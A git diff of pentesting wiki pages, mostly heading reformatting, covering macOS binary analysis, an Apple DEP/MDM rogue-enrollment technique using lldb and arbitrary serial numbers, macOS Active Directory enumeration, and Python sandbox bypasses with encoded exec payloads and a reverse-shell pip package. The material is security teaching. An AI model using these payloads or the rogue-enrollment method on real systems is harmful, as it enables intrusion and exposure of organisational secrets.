b/macos/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing.md @@ -17,23 +17,21 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -# MacOS Apps - Inspecting, debugging and Fuzzing +# Static Analysis -## Static Analysis - -### otool +## otool ```bash otool -L /bin/ls #List dynamically linked libraries otool -tv /bin/ps #Decompile application ``` -### SuspiciousPackage +## SuspiciousPackage [**SuspiciousPackage**](https://mothersruin.com/software/SuspiciousPackage/get.html) is a tool useful to inspect **.pkg** files (installers) and see what is inside before installing it.\ These installers have `preinstall` and `postinstall` bash scripts that malware authors usually abuse to **persist** **the** **malware**. -### hdiutil +## hdiutil This tool allows to **mount** Apple disk images (**.dmg**) files to inspect them before running anything: @@ -43,7 +41,7 @@ hdiutil attach ~/Downloads/Firefox\ 58.0.2.dmg It will be mounted in `/Volumes` -### Objective-C +## Objective-C When a function is called in a binary that uses objective-C, the compiled code instead of calling that function, it will call **`objc_msgSend`**. Which will be calling the final function: @@ -65,13 +63,13 @@ The params this function expects are: | **6th argument** | **r9** | **4th argument to the method** | | **7th+ argument** |

rsp+
(on the stack)

| **5th+ argument to the method** | -### Packed binaries +## Packed binaries * Check for high entropy * Check the strings (is there is almost no understandable string, packed) * The UPX packer for MacOS generates a section called "\_\_XHDR" -## Dynamic Analysis +# Dynamic Analysis {% hint style="warning" %} Note that in order to debug binaries, **SIP needs to be disabled** (`csrutil disable` or `csrutil enable --without debug`) or to copy the binaries to a temporary folder and **remove the signature** with `codesign --remove-signature ` or allow the debugging of the binary (you can use [this script](https://gist.github.com/carlospolop/a66b8d72bb8f43913c4b5ae45672578b)) @@ -81,14 +79,14 @@ Note that in order to debug binaries, **SIP needs to be disabled** (`csrutil dis Note that in order to **instrument system binarie**s, (such as `cloudconfigurationd`) on macOS, **SIP must be disabled** (just removing the signature won't work). {% endhint %} -### dtruss +## dtruss ```bash dtruss -c ls #Get syscalls of ls dtruss -c -p 1000 #get syscalls of PID 1000 ``` -### ktrace +## ktrace You can use this one even with **SIP activated** @@ -96,7 +94,7 @@ You can use this one even with **SIP activated** ktrace trace -s -S -t c -c ls | grep "ls(" ``` -### dtrace +## dtrace It allows users access to applications at an extremely **low level** and provides a way for users to **trace** **programs** and even change their execution flow. Dtrace uses **probes** which are **placed throughout the kernel** and are at locations such as the beginning and end of system calls. @@ -116,7 +114,7 @@ The probe name consists of four parts: the provider, module, function, and name A more detailed explanation and more examples can be found in [https://illumos.org/books/dtrace/chp-intro.html](https://illumos.org/books/dtrace/chp-intro.html) -#### Examples +### Examples * In line @@ -165,15 +163,15 @@ syscall:::return sudo dtrace -s syscalls_info.d -c "cat /etc/hosts" ``` -### ProcessMonitor +## ProcessMonitor [**ProcessMonitor**](https://objective-see.com/products/utilities.html#ProcessMonitor) is a very useful tool to check the process related actions a process is performing (for example, monitor which new processes a process is creating). -### FileMonitor +## FileMonitor [**FileMonitor**](https://objective-see.com/products/utilities.html#FileMonitor) allows to monitor file events (such as creation, modifications, and deletions) providing detailed information about such events. -### fs\_usage +## fs\_usage Allows to follow actions performed by processes: @@ -182,12 +180,12 @@ fs_usage -w -f filesys ls #This tracks filesystem actions of proccess names cont fs_usage -w -f network curl #This tracks network actions ``` -### TaskExplorer +## TaskExplorer [**Taskexplorer**](https://objective-see.com/products/taskexplorer.html) is useful to see the **libraries** used by a binary, the **files** it's using and the **network** connections.\ It also checks the binary processes against **virustotal** and show information about the binary. -### lldb +## lldb **lldb** is the de **facto tool** for **macOS** binary **debugging**. @@ -226,9 +224,9 @@ When calling the **`objc_sendMsg`** function, the **rsi** register holds the **n `(lldb) reg read $rsi: rsi = 0x00000001000f1576 "startMiningWithPort:password:coreCount:slowMemory:currency:"` {% endhint %} -### Anti-Dynamic Analysis +## Anti-Dynamic Analysis -#### VM detection +### VM detection * The command **`sysctl hw.model`** returns "Mac" when the **host is a MacOS** but something different when it's a VM. * Playing with the values of **`hw.logicalcpu`** and **`hw.physicalcpu`** some malwares try to detect if it's a VM. @@ -240,9 +238,9 @@ When calling the **`objc_sendMsg`** function, the **rsi** register holds the **n * As noted in this writeup, “[Defeating Anti-Debug Techniques: macOS ptrace variants](https://alexomara.com/blog/defeating-anti-debug-techniques-macos-ptrace-variants/)” :\ “_The message Process # exited with **status = 45 (0x0000002d)** is usually a tell-tale sign that the debug target is using **PT\_DENY\_ATTACH**_” -## Fuzzing +# Fuzzing -### [ReportCrash](https://ss64.com/osx/reportcrash.html#:\~:text=ReportCrash%20analyzes%20crashing%20processes%20and%20saves%20a%20crash%20report%20to%20disk.\&text=ReportCrash%20also%20records%20the%20identity,when%20a%20crash%20is%20detected.) +## [ReportCrash](https://ss64.com/osx/reportcrash.html#:\~:text=ReportCrash%20analyzes%20crashing%20processes%20and%20saves%20a%20crash%20report%20to%20disk.\&text=ReportCrash%20also%20records%20the%20identity,when%20a%20crash%20is%20detected.) ReportCrash **analyzes crashing processes and saves a crash report to disk**. A crash report contains information that can **help a developer diagnose** the cause of a crash.\ For applications and other processes **running in the per-user launchd context**, ReportCrash runs as a LaunchAgent and saves crash reports in the user's `~/Library/Logs/DiagnosticReports/`\ @@ -260,7 +258,7 @@ launchctl load -w /System/Library/LaunchAgents/com.apple.ReportCrash.plist sudo launchctl load -w /System/Library/LaunchDaemons/com.apple.ReportCrash.Root.plist ``` -### Sleep +## Sleep While fuzzing in a MacOS it's important to not allow the Mac to sleep: @@ -268,7 +266,7 @@ While fuzzing in a MacOS it's important to not allow the Mac to sleep: * pmset, System Preferences * [KeepingYouAwake](https://github.com/newmarcel/KeepingYouAwake) -#### SSH Disconnect +### SSH Disconnect If you are fuzzing via a SSH connection it's important to make sure the session isn't going to day. So change the sshd\_config file with: @@ -281,11 +279,11 @@ sudo launchctl unload /System/Library/LaunchDaemons/ssh.plist sudo launchctl load -w /System/Library/LaunchDaemons/ssh.plist ``` -### Internal Handlers +## Internal Handlers [**Checkout this section**](./#file-extensions-apps) to find out how you can find which app is responsible of **handling the specified scheme or protocol**. -### Enumerating Network Processes +## Enumerating Network Processes This interesting to find processes that are managing network data: @@ -298,13 +296,13 @@ cat procs.txt Or use `netstat` or `lsof` -### More Fuzzing MacOS Info +## More Fuzzing MacOS Info * [https://github.com/bnagy/slides/blob/master/OSXScale.pdf](https://github.com/bnagy/slides/blob/master/OSXScale.pdf) * [https://github.com/bnagy/francis/tree/master/exploitaben](https://github.com/bnagy/francis/tree/master/exploitaben) * [https://github.com/ant4g0nist/crashwrangler](https://github.com/ant4g0nist/crashwrangler) -## References +# References * [**OS X Incident Response: Scripting and Analysis**](https://www.amazon.com/OS-Incident-Response-Scripting-Analysis-ebook/dp/B01FHOHHVS) * [**https://www.youtube.com/watch?v=T5xfL9tEg44**](https://www.youtube.com/watch?v=T5xfL9tEg44) diff --git a/macos/macos-security-and-privilege-escalation/macos-mdm/README.md b/macos/macos-security-and-privilege-escalation/macos-mdm/README.md index ff4069bb..01c11514 100644 --- a/macos/macos-security-and-privilege-escalation/macos-mdm/README.md +++ b/macos/macos-security-and-privilege-escalation/macos-mdm/README.md @@ -16,11 +16,10 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -## MacOS MDM -### Basics +# Basics -#### What is MDM (Mobile Device Management)? +## What is MDM (Mobile Device Management)? [Mobile Device Management](https://en.wikipedia.org/wiki/Mobile\_device\_management) (MDM) is a technology commonly used to **administer end-user computing devices** such as mobile phones, laptops, desktops and tablets. In the case of Apple platforms like iOS, macOS and tvOS, it refers to a specific set of features, APIs and techniques used by administrators to manage these devices. Management of devices via MDM requires a compatible commercial or open-source MDM server that implements support for the [MDM Protocol](https://developer.apple.com/enterprise/documentation/MDM-Protocol-Reference.pdf). @@ -28,7 +27,7 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) * Requires an **MDM server** which implements support for the MDM protocol * MDM server can **send MDM commands**, such as remote wipe or “install this config” -#### Basics What is DEP (Device Enrolment Program)? +## Basics What is DEP (Device Enrolment Program)? The [Device Enrollment Program](https://www.apple.com/business/site/docs/DEP\_Guide.pdf) (DEP) is a service offered by Apple that **simplifies** Mobile Device Management (MDM) **enrollment** by offering **zero-touch configuration** of iOS, macOS, and tvOS devices. Unlike more traditional deployment methods, which require the end-user or administrator to take action to configure a device, or manually enroll with an MDM server, DEP aims to bootstrap this process, **allowing the user to unbox a new Apple device and have it configured for use in the organization almost immediately**. @@ -42,21 +41,21 @@ Administrators can leverage DEP to automatically enroll devices in their organiz Unfortunately, if an organization has not taken additional steps to **protect their MDM enrollment**, a simplified end-user enrollment process through DEP can also mean a simplified process for **attackers to enroll a device of their choosing in the organization’s MDM** server, assuming the "identity" of a corporate device. {% endhint %} -#### Basics What is SCEP (Simple Certificate Enrolment Protocol)? +## Basics What is SCEP (Simple Certificate Enrolment Protocol)? * A relatively old protocol, created before TLS and HTTPS were widespread. * Gives clients a standardized way of sending a **Certificate Signing Request** (CSR) for the purpose of being granted a certificate. The client will ask the server to give him a signed certificate. -#### What are Configuration Profiles (aka mobileconfigs)? +## What are Configuration Profiles (aka mobileconfigs)? * Apple’s official way of **setting/enforcing system configuration.** * File format that can contain multiple payloads. * Based on property lists (the XML kind). * “can be signed and encrypted to validate their origin, ensure their integrity, and protect their contents.” Basics — Page 70, iOS Security Guide, January 2018. -### Protocols +# Protocols -#### MDM +## MDM * Combination of APNs (**Apple server**s) + RESTful API (**MDM** **vendor** servers) * **Communication** occurs between a **device** and a server associated with a **device** **management** **product** @@ -64,7 +63,7 @@ Unfortunately, if an organization has not taken additional steps to **protect th * All over **HTTPS**. MDM servers can be (and are usually) pinned. * Apple grants the MDM vendor an **APNs certificate** for authentication -#### DEP +## DEP * **3 APIs**: 1 for resellers, 1 for MDM vendors, 1 for device identity (undocumented): * The so-called [DEP "cloud service" API](https://developer.apple.com/enterprise/documentation/MDM-Protocol-Reference.pdf). This is used by MDM servers to associate DEP profiles with specific devices. @@ -83,7 +82,7 @@ Unfortunately, if an organization has not taken additional steps to **protect th * Additional trusted certificates for server URL (optional pinning) * Extra settings (e.g. which screens to skip in Setup Assistant) -### Steps for enrolment and management +# Steps for enrolment and management 1. Device record creation (Reseller, Apple): The record for the new device is created 2. Device record assignment (Customer): The device is assigned to a MDM server @@ -97,7 +96,7 @@ Unfortunately, if an organization has not taken additional steps to **protect th The file `/Library/Developer/CommandLineTools/SDKs/MacOSX10.15.sdk/System/Library/PrivateFrameworks/ConfigurationProfiles.framework/ConfigurationProfiles.tbd` exports functions that can be considered **high-level "steps"** of the enrolment process. -#### Step 4: DEP check-in - Getting the Activation Record +## Step 4: DEP check-in - Getting the Activation Record This part of the process occurs when a **user boots a Mac for the first time** (or after a complete wipe) @@ -133,7 +132,7 @@ The response is a JSON dictionary with some important data like: * **url**: URL of the MDM vendor host for the activation profile * **anchor-certs**: Array of DER certificates used as trusted anchors -#### **Step 5: Profile Retrieval** +## **Step 5: Profile Retrieval** ![](<../../../.gitbook/assets/image (567).png>) @@ -148,7 +147,7 @@ The response is a JSON dictionary with some important data like: ![](<../../../.gitbook/assets/image (567) (1) (2) (2) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>) -#### Step 6: Profile Installation +## Step 6: Profile Installation * Once retrieved, **profile is stored on the system** * This step begins automatically (if in **setup assistant**) @@ -183,7 +182,7 @@ Typically, **activation profile** provided by an MDM vendor will **include the f * Property: IdentityCertificateUUID * Delivered via SCEP payload -#### **Step 7: Listening for MDM commands** +## **Step 7: Listening for MDM commands** * After MDM check-in is complete, vendor can **issue push notifications using APNs** * Upon receipt, handled by **`mdmclient`** @@ -192,9 +191,9 @@ Typically, **activation profile** provided by an MDM vendor will **include the f * **`ServerURLPinningCertificateUUIDs`** for pinning request * **`IdentityCertificateUUID`** for TLS client certificate -### Attacks +# Attacks -#### Enrolling Devices in Other Organisations +## Enrolling Devices in Other Organisations As previously commented, in order to try to enrol a device into an organization **only a Serial Number belonging to that Organization is needed**. Once the device is enrolled, several organizations will install sensitive data on the new device: certificates, applications, WiFi passwords, VPN configurations [and so on](https://developer.apple.com/enterprise/documentation/Configuration-Profile-Reference.pdf).\ Therefore, this could be a dangerous entrypoint for attackers if the enrolment process isn't correctly protected: @@ -203,7 +202,7 @@ Therefore, this could be a dangerous entrypoint for attackers if the enrolment p [enrolling-devices-in-other-organisations.md](enrolling-devices-in-other-organisations.md) {% endcontent-ref %} -### **References** +# **References** * [https://www.youtube.com/watch?v=ku8jZe-MHUU](https://www.youtube.com/watch?v=ku8jZe-MHUU) * [https://duo.com/labs/research/mdm-me-maybe](https://duo.com/labs/research/mdm-me-maybe) diff --git a/macos/macos-security-and-privilege-escalation/macos-mdm/enrolling-devices-in-other-organisations.md b/macos/macos-security-and-privilege-escalation/macos-mdm/enrolling-devices-in-other-organisations.md index 34a2ffcd..96478c4f 100644 --- a/macos/macos-security-and-privilege-escalation/macos-mdm/enrolling-devices-in-other-organisations.md +++ b/macos/macos-security-and-privilege-escalation/macos-mdm/enrolling-devices-in-other-organisations.md @@ -17,18 +17,16 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -# Enrolling Devices in Other Organisations - -## Intro +# Intro As [**previously commented**](./#what-is-mdm-mobile-device-management)**,** in order to try to enrol a device into an organization **only a Serial Number belonging to that Organization is needed**. Once the device is enrolled, several organizations will install sensitive data on the new device: certificates, applications, WiFi passwords, VPN configurations [and so on](https://developer.apple.com/enterprise/documentation/Configuration-Profile-Reference.pdf).\ Therefore, this could be a dangerous entrypoint for attackers if the enrolment process isn't correctly protected. **The following research is taken from** [**https://duo.com/labs/research/mdm-me-maybe**](https://duo.com/labs/research/mdm-me-maybe) -## Reversing the process +# Reversing the process -### Binaries Involved in DEP and MDM +## Binaries Involved in DEP and MDM Throughout our research, we explored the following: @@ -40,7 +38,7 @@ When using either `mdmclient` or `profiles` to initiate a DEP check-in, the `CPF `CPGetActivationRecord` retrieves the _Activation Record_ from cache, if available. These functions are defined in the private Configuration Profiles framework, located at `/System/Library/PrivateFrameworks/Configuration Profiles.framework`. -### Reverse Engineering the Tesla Protocol and Absinthe Scheme +## Reverse Engineering the Tesla Protocol and Absinthe Scheme During the DEP check-in process, `cloudconfigurationd` requests an _Activation Record_ from _iprofiles.apple.com/macProfile_. The request payload is a JSON dictionary containing two key-value pairs: @@ -68,7 +66,7 @@ rsi = @selector(sendFailureNoticeToRemote); Since the **Absinthe** scheme is what appears to be used to authenticate requests to the DEP service, **reverse engineering** this scheme would allow us to make our own authenticated requests to the DEP API. This proved to be **time consuming**, though, mostly because of the number of steps involved in authenticating requests. Rather than fully reversing how this scheme works, we opted to explore other methods of inserting arbitrary serial numbers as part of the _Activation Record_ request. -### MITMing DEP Requests +## MITMing DEP Requests We explored the feasibility of proxying network requests to _iprofiles.apple.com_ with [Charles Proxy](https://www.charlesproxy.com). Our goal was to inspect the payload sent to _iprofiles.apple.com/macProfile_, then insert an arbitrary serial number and replay the request. As previously mentioned, the payload submitted to that endpoint by `cloudconfigurationd` is in [JSON](https://www.json.org) format and contains two key-value pairs. @@ -129,7 +127,7 @@ With SSL Proxying enabled for _iprofiles.apple.com_ and `cloudconfigurationd` co However, since the payload included in the body of the HTTP POST request to _iprofiles.apple.com/macProfile_ is signed and encrypted with Absinthe, (`NACSign`), **it isn't possible to modify the plain text JSON payload to include an arbitrary serial number without also having the key to decrypt it**. Although it would be possible to obtain the key because it remains in memory, we instead moved on to exploring `cloudconfigurationd` with the [LLDB](https://lldb.llvm.org) debugger. -### Instrumenting System Binaries That Interact With DEP +## Instrumenting System Binaries That Interact With DEP The final method we explored for automating the process of submitting arbitrary serial numbers to _iprofiles.apple.com/macProfile_ was to instrument native binaries that either directly or indirectly interact with the DEP API. This involved some initial exploration of the `mdmclient`, `profiles`, and `cloudconfigurationd` in [Hopper v4](https://www.hopperapp.com) and [Ida Pro](https://www.hex-rays.com/products/ida/), and some lengthy debugging sessions with `lldb`. @@ -375,7 +373,7 @@ SupervisorHostCertificates = ( With just a few `lldb` commands we can successfully insert an arbitrary serial number and get a DEP profile that includes various organization-specific data, including the organization's MDM enrollment URL. As discussed, this enrollment URL could be used to enroll a rogue device now that we know its serial number. The other data could be used to social engineer a rogue enrollment. Once enrolled, the device could receive any number of certificates, profiles, applications, VPN configurations and so on. -### Automating `cloudconfigurationd` Instrumentation With Python +## Automating `cloudconfigurationd` Instrumentation With Python Once we had the initial proof-of-concept demonstrating how to retrieve a valid DEP profile using just a serial number, we set out to automate this process to show how an attacker might abuse this weakness in authentication. @@ -391,11 +389,11 @@ This made it relatively easy to script our proof-of-concept demonstrating how to ![DEP Notification.](https://duo.com/img/asset/aW1nL2xhYnMvcmVzZWFyY2gvaW1nL2RlcF9ub3RpZmljYXRpb24ucG5n?w=800\&fit=contain\&s=4f7b95efd02245f9953487dcaac6a961) -### Impact +## Impact There are a number of scenarios in which Apple's Device Enrollment Program could be abused that would lead to exposing sensitive information about an organization. The two most obvious scenarios involve obtaining information about the organization that a device belongs to, which can be retrieved from the DEP profile. The second is using this information to perform a rogue DEP and MDM enrollment. Each of these are discussed further below. -#### Information Disclosure +### Information Disclosure As mentioned previously, part of the DEP enrollment process involves requesting and receiving an _Activation Record_, (or DEP profile), from the DEP API. By providing a valid, DEP-registered system serial number, we're able to retrieve the following information, (either printed to `stdout` or written to the `ManagedClient` log, depending on macOS version). @@ -432,7 +430,7 @@ SupervisorHostCertificates = ( Although some of this information might be publicly available for certain organizations, having a serial number of a device owned by the organization along with the information obtained from the DEP profile could be used against an organization's help desk or IT team to perform any number of social engineering attacks, such as requesting a password reset or help enrolling a device in the company's MDM server. -#### Rogue DEP Enrollment +### Rogue DEP Enrollment The [Apple MDM protocol](https://developer.apple.com/enterprise/documentation/MDM-Protocol-Reference.pdf) supports - but does not require - user authentication prior to MDM enrollment via [HTTP Basic Authentication](https://en.wikipedia.org/wiki/Basic\_access\_authentication). **Without authentication, all that's required to enroll a device in an MDM server via DEP is a valid, DEP-registered serial number**. Thus, an attacker that obtains such a serial number, (either through [OSINT](https://en.wikipedia.org/wiki/Open-source\_intelligence), social engineering, or by brute-force), will be able to enroll a device of their own as if it were owned by the organization, as long as it's not currently enrolled in the MDM server. Essentially, if an attacker is able to win the race by initiating the DEP enrollment before the real device, they're able to assume the identity of that device. diff --git a/macos/macos-security-and-privilege-escalation/macos-protocols.md b/macos/macos-security-and-privilege-escalation/macos-protocols.md index 02762abd..27655acf 100644 --- a/macos/macos-security-and-privilege-escalation/macos-protocols.md +++ b/macos/macos-security-and-privilege-escalation/macos-protocols.md @@ -17,9 +17,7 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -# MacOS Protocols - -## Bonjour +# Bonjour **Bonjour** is an Apple-designed technology that enables computers and **devices located on the same network to learn about services offered** by other computers and devices. It is designed such that any Bonjour-aware device can be plugged into a TCP/IP network and it will **pick an IP address** and make other computers on that network **aware of the services it offers**. Bonjour is sometimes referred to as Rendezvous, **Zero Configuration**, or Zeroconf.\ Zero Configuration Networking, such as Bonjour provides: @@ -94,7 +92,7 @@ If you feel like Bonjour might be more secured **disabled**, you can do so with: sudo launchctl unload -w /System/Library/LaunchDaemons/com.apple.mDNSResponder.plist ``` -## References +# References * [**The Mac Hacker's Handbook**](https://www.amazon.com/-/es/Charlie-Miller-ebook-dp-B004U7MUMU/dp/B004U7MUMU/ref=mt\_other?\_encoding=UTF8\&me=\&qid=) * [**https://taomm.org/vol1/analysis.html**](https://taomm.org/vol1/analysis.html) diff --git a/macos/macos-security-and-privilege-escalation/macos-red-teaming.md b/macos/macos-security-and-privilege-escalation/macos-red-teaming.md index 295c9b94..73f1d8ae 100644 --- a/macos/macos-security-and-privilege-escalation/macos-red-teaming.md +++ b/macos/macos-security-and-privilege-escalation/macos-red-teaming.md @@ -17,9 +17,7 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -# MacOS Red Teaming - -## Common management methods +# Common management methods * JAMF Pro: `jamf checkJSSConnection` * Kandji @@ -38,7 +36,7 @@ And also about **MacOS** "special" **network** **protocols**: [macos-protocols.md](macos-protocols.md) {% endcontent-ref %} -## Active Directory +# Active Directory In some occasions you will find that the **MacOS computer is connected to an AD**. In this scenario you should try to **enumerate** the active directory as you are use to it. Find some **help** in the following pages: @@ -66,13 +64,13 @@ Also there are some tools prepared for MacOS to automatically enumerate the AD a * [**Bifrost**](https://github.com/its-a-feature/bifrost): Bifrost is an Objective-C project designed to interact with the Heimdal krb5 APIs on macOS. The goal of the project is to enable better security testing around Kerberos on macOS devices using native APIs without requiring any other framework or packages on the target. * [**Orchard**](https://github.com/its-a-feature/Orchard): JavaScript for Automation (JXA) tool to do Active Directory enumeration. -### Domain Information +## Domain Information ``` echo show com.apple.opendirectoryd.ActiveDirectory | scutil ``` -### Users +## Users The three types of MacOS users are: @@ -113,15 +111,15 @@ dsconfigad -show More info in [https://its-a-feature.github.io/posts/2018/01/Active-Directory-Discovery-with-a-Mac/](https://its-a-feature.github.io/posts/2018/01/Active-Directory-Discovery-with-a-Mac/) -## External Services +# External Services MacOS Red Teaming is different from a regular Windows Red Teaming as usually **MacOS is integrated with several external platforms directly**. A common configuration of MacOS is to access to the computer using **OneLogin synchronised credentials, and accessing several external services** (like github, aws...) via OneLogin: ![](<../../.gitbook/assets/image (563).png>) -### +## -## References +# References * [https://www.youtube.com/watch?v=IiMladUbL6E](https://www.youtube.com/watch?v=IiMladUbL6E) * [https://medium.com/xm-cyber/introducing-machound-a-solution-to-macos-active-directory-based-attacks-2a425f0a22b6](https://medium.com/xm-cyber/introducing-machound-a-solution-to-macos-active-directory-based-attacks-2a425f0a22b6) diff --git a/macos/macos-security-and-privilege-escalation/macos-serial-number.md b/macos/macos-security-and-privilege-escalation/macos-serial-number.md index 54a3d2d6..2d187c07 100644 --- a/macos/macos-security-and-privilege-escalation/macos-serial-number.md +++ b/macos/macos-security-and-privilege-escalation/macos-serial-number.md @@ -17,13 +17,11 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -# MacOS Serial Number - Apple devices manufactured after 2010 generally have **12-character alphanumeric** serial numbers, with the **first three digits representing the manufacturing location**, the following **two** indicating the **year** and **week** of manufacture, the next **three** digits providing a **unique** **identifier**, and the **last** **four** digits representing the **model number**. Serial number example: **C02L13ECF8J2** -### **3 - Manufacturing locations** +## **3 - Manufacturing locations** | Code | Factory | | :--- | :--- | @@ -48,7 +46,7 @@ Serial number example: **C02L13ECF8J2** | C7 | Pentragon, Changhai, China | | RM | Refurbished/remanufactured | -### 1 - Year of manufacturing +## 1 - Year of manufacturing | Code | Release | | :--- | :--- | @@ -73,19 +71,19 @@ Serial number example: **C02L13ECF8J2** | Y | 2019 \(1st half\) | | Z | 2019 \(2nd half\) | -### 1 - Week of manufacturing +## 1 - Week of manufacturing The fifth character represent the week in which the device was manufactured. There are 28 possible characters in this spot: **the digits 1-9 are used to represent the first through ninth weeks**, and the **characters C through Y**, **excluding** the vowels A, E, I, O, and U, and the letter S, represent the **tenth through twenty-seventh weeks**. For devices manufactured in the **second half of the year, add 26** to the number represented by the fifth character of the serial number. For example, a product with a serial number whose fourth and fifth digits are “JH” was manufactured in the 40th week of 2012. -### 3 - Uniq Code +## 3 - Uniq Code The next three digits are an identifier code which **serves to differentiate each Apple device of the same model** which is manufactured in the same location and during the same week of the same year, ensuring that each device has a different serial number. -### 4 - Serial number +## 4 - Serial number The last four digits of the serial number represent the **product’s model**. -### Reference +## Reference {% embed url="https://beetstech.com/blog/decode-meaning-behind-apple-serial-number" %} diff --git a/misc/basic-python/README.md b/misc/basic-python/README.md index 3b55d0a1..d784c815 100644 --- a/misc/basic-python/README.md +++ b/misc/basic-python/README.md @@ -17,17 +17,15 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -# Basic Python +# Python Basics -## Python Basics - -### Usefull information +## Usefull information It is an interpreted language\ list(xrange()) == range() --> In python3 range is the xrange of python2 (it is not a list but a generator)\ The difference between a Tuple and a List is that the position of a value in a tuple gives it a meaning but the lists are just ordered values. Tuples have structures, lists have order -### Main operations +## Main operations To raise a number you should do: 3**2 (it isn't 3^2)\ If you do 2/3 it returns 1 because you are dividing two ints. If you want decimals you should divide floats (2.0/3.0).\ @@ -99,7 +97,7 @@ for letter in "hola": #something with letter in "hola" ``` -### Tuples +## Tuples t1 = (1,'2,'three')\ t2 = (5,6)\ @@ -110,7 +108,7 @@ d += (4,) --> Adding into a tuple\ CANT! --> t1\[1] == 'New value'\ list(t2) = \[5,6] --> From tuple to list -### List (array) +## List (array) d = \[] empty\ a = \[1,2,3]\ @@ -119,7 +117,7 @@ a + b = \[1,2,3,4,5]\ b.append(6) = \[4,5,6]\ tuple(a) = (1,2,3) --> From list to tuple -### Dictionary +## Dictionary d = {} empty\ monthNumbers={1:’Jan’, 2: ‘feb’,’feb’:2}—> monthNumbers ->{1:’Jan’, 2: ‘feb’,’feb’:2}\ @@ -133,7 +131,7 @@ monthNumbers.update(a) = {'9':9, 1:’Jan’, 2: ‘feb’,’feb’:2}\ mN = monthNumbers.copy() #Independent copy\ monthNumbers.get('key',0) #Check if key exists, Return value of monthNumbers\["key"] or 0 if it does not exists -### Set +## Set In the sets there are not repetitions\ myset = set(\['a', 'b']) = {'a', 'b'}\ @@ -152,7 +150,7 @@ myset.intersection_update(myset2) #myset = Elements in both myset and myset2\ myset.difference_update(myset2) #myset = Elements in myset but not in myset2\ myset.symmetric_difference_update(myset2) #myset = Elements that are not in both -### Classes +## Classes The method in \__It\_\_ will be the one used by sort in order to compare if an object of this class is bigger than other @@ -184,7 +182,7 @@ class MITPerson(Person): return self.idNum < other.idNum ``` -### map, zip, filter, lambda, sorted and one-liners +## map, zip, filter, lambda, sorted and one-liners **Map** is like: \[f(x) for x in iterable] --> map(tutple,\[a,b]) = \[(1,2,3),(4,5)]\ m = map(lambda x: x % 3 == 0, \[1, 2, 3, 4, 5, 6, 7, 8, 9]) --> \[False, False, True, False, False, True, False, False, True] @@ -215,7 +213,7 @@ my_car = Car(); my_car.crash() = 'Boom!' mult1 = \[x for x in \[1, 2, 3, 4, 5, 6, 7, 8, 9] if x%3 == 0 ] -### Exceptions +## Exceptions ``` def divide(x,y): @@ -231,7 +229,7 @@ def divide(x,y): print “executing finally clause in any case” ``` -### Assert() +## Assert() If the condition is false the string will by printed in the screen @@ -241,7 +239,7 @@ def avg(grades, weights): assert len(grades) == 'wrong number grades' ``` -### Generators, yield +## Generators, yield A generator, instead of returning something, it "yields" something. When you access it, it will "return" the first value generated, then, you can access it again and it will return the next value generated. So, all the values are not generated at the same time and a lot of memory could be saved using this instead of a list with all the values. @@ -255,7 +253,7 @@ g = myGen(6) --> 6\ next(g) --> 7\ next(g) --> Error -### Regular Expresions +## Regular Expresions import re\ re.search("\w","hola").group() = "h"\ @@ -302,7 +300,7 @@ print(list(**combinations**('123',2))) --> \[('1', '2'), ('1', '3'), ('2', '3')] from itertools import **combinations_with_replacement** --> Generates all possible combinations from the char onwards(for example, the 3rd is mixed from the 3rd onwards but not with the 2nd o first)\ print(list(**combinations_with_replacement**('1133',2))) = \[('1', '1'), ('1', '1'), ('1', '3'), ('1', '3'), ('1', '1'), ('1', '3'), ('1', '3'), ('3', '3'), ('3', '3'), ('3', '3')] -### Decorators +## Decorators Decorator that size the time that a function needs to be executed (from [here](https://towardsdatascience.com/decorating-functions-in-python-619cbbe82c74)): diff --git a/misc/basic-python/bruteforce-hash-few-chars.md b/misc/basic-python/bruteforce-hash-few-chars.md index 3af31058..e46bb30e 100644 --- a/misc/basic-python/bruteforce-hash-few-chars.md +++ b/misc/basic-python/bruteforce-hash-few-chars.md @@ -17,8 +17,6 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -# Bruteforce hash \(few chars\) - ```python import hashlib diff --git a/misc/basic-python/bypass-python-sandboxes/README.md b/misc/basic-python/bypass-python-sandboxes/README.md index 5ded4837..722516a4 100644 --- a/misc/basic-python/bypass-python-sandboxes/README.md +++ b/misc/basic-python/bypass-python-sandboxes/README.md @@ -17,11 +17,9 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -# Bypass Python sandboxes - These are some tricks to bypass python sandbox protections and execute arbitrary commands. -## Command Execution Libraries +# Command Execution Libraries The first thing you need to know is if you can directly execute code with some already imported library, or if you could import any of these libraries: @@ -68,9 +66,9 @@ Python try to **load libraries from the current directory first** (the following ![](<../../../.gitbook/assets/image (552).png>) -## Bypass pickle sandbox with default installed python packages +# Bypass pickle sandbox with default installed python packages -### Default packages +## Default packages You can find a **list of pre-installed** packages here: [https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html](https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html)\ Note that from a pickle you can make the python env **import arbitrary libraries** installed in the system.\ @@ -91,7 +89,7 @@ print(base64.b64encode(pickle.dumps(P(), protocol=0))) For more information about how does pickle works check this: [https://checkoway.net/musings/pickle/](https://checkoway.net/musings/pickle/) -### Pip package +## Pip package Trick shared by **@isHaacK** @@ -110,7 +108,7 @@ You can download the package to create the reverse shell here. Please, note that This package is called `Reverse`.However, it was specially crafted so when you exit the reverse shell the rest of the installation will fail, so you **won't leave any extra python package installed on the server** when you leave. {% endhint %} -## Eval-ing python code +# Eval-ing python code This is really interesting if some characters are forbidden because you can use the **hex/octal/B64** representation to **bypass** the restriction: @@ -135,7 +133,7 @@ exec('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2xzJyk='.decode("base64")) #Only python2 exec(__import__('base64').b64decode('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2xzJyk=')) ``` 